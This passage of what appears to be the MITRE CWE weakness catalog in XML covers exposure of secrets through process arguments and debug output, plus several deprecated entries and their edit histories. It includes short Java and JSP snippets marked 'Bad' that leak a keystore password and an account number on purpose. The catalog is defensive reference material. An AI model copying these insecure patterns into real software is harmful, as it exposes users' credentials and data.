            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Intended information leak</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
	   <Note Type="Maintenance">This entry is being considered for deprecation.  It overlaps many other entries related to information exposures.  It might not be essential to preserve this entry, since other key stakeholder policies are covered elsewhere, e.g. personal privacy leaks (CWE-359) and system-level exposures that are important to system administrators (CWE-497).</Note>
            <Note Type="Theoretical">In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Name, Other_Notes, Relationship_Notes, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Intended Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Intentional Information Exposure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="214" Name="Invocation of Process Using Visible Sensitive Information" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.</Description>
         <Extended_Description>Many operating systems allow a user to list information about processes that are owned by other users. Other users could see information such as command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the product or related resources.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="497" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the example below, the password for a keystore file is read from a system property.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");<xhtml:br/>if (keystorePass == null) {<xhtml:div style="margin-left:1em;">System.err.println("ERROR: Keystore password not specified.");<xhtml:br/>System.exit(-1);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1387</Reference>
               <Description>password passed on command line</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1387</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2291</Reference>
               <Description>password passed on command line</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2291</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1565</Reference>
               <Description>username/password on command line allows local users to view via "ps" or other process listing programs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1565</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1948</Reference>
               <Description>Username/password on command line allows local users to view via "ps" or other process listing programs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1948</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1270</Reference>
               <Description>PGP passphrase provided as command line argument.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1270</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1058</Reference>
               <Description>Kernel race condition allows reading of environment variables of a process that is still spawning.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1058</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-32638</Reference>
               <Description>Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-32638</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Process information infoleak to other processes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied, especially environment variables.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Process Information Leak to Other Processes</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Process Environment Information Leak</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Process Environment</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="215" Name="Insertion of Sensitive Information Into Debugging Code" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.</Description>
	 <Extended_Description>When debugging, it may be necessary to report detailed information to the programmer.  However, if the debugging code is not disabled when the product is operating in a production environment, then this sensitive information may be exposed to attackers.
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not leave debug statements that could be executed in the source code. Ensure that all debug information is eradicated before releasing the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-131">
               <Intro_Text>The following program changes its behavior based on a debug flag.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;% if (Boolean.getBoolean("debugEnabled")) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>%&gt;<xhtml:br/>User account number: &lt;%= acctNo %&gt;<xhtml:br/>&lt;%<xhtml:br/>} %&gt;<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-2268</Reference>
               <Description>Password exposed in debug information.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2268</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0918</Reference>
               <Description>CGI script includes sensitive information in debug messages when an error is triggered.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0918</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1078</Reference>
               <Description>FTP client with debug option enabled shows password to the screen.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1078</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Infoleak Using Debug Information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Information Leakage and Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This overlaps other categories.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Name, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Information Leak Through Debug Information</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure Through Debug Information</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="216" Name="DEPRECATED: Containment Errors (Container Errors)" Abstraction="Class" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Containment Errors (Container Errors)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="217" Name="DEPRECATED: Failure to Protect Stored Data from Modification" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this entry can be found at CWE-766 and CWE-767.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-20</Modification_Date>
               <Modification_Comment>deprecated this entry in favor of new entries which focus on the multiple weaknesses formerly described here, CWE-766 and CWE-767</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Failure to Protect Stored Data from Modification</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="218" Name="DEPRECATED: Failure to provide confidentiality for stored data" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Description, Likelihood_of_Exploit, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Failure to Provide Confidentiality for Stored Data</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): Failure to provide confidentiality for stored data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="219" Name="Storage of File with Sensitive Data Under Web Root" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.</Description>
	 <Extended_Description>
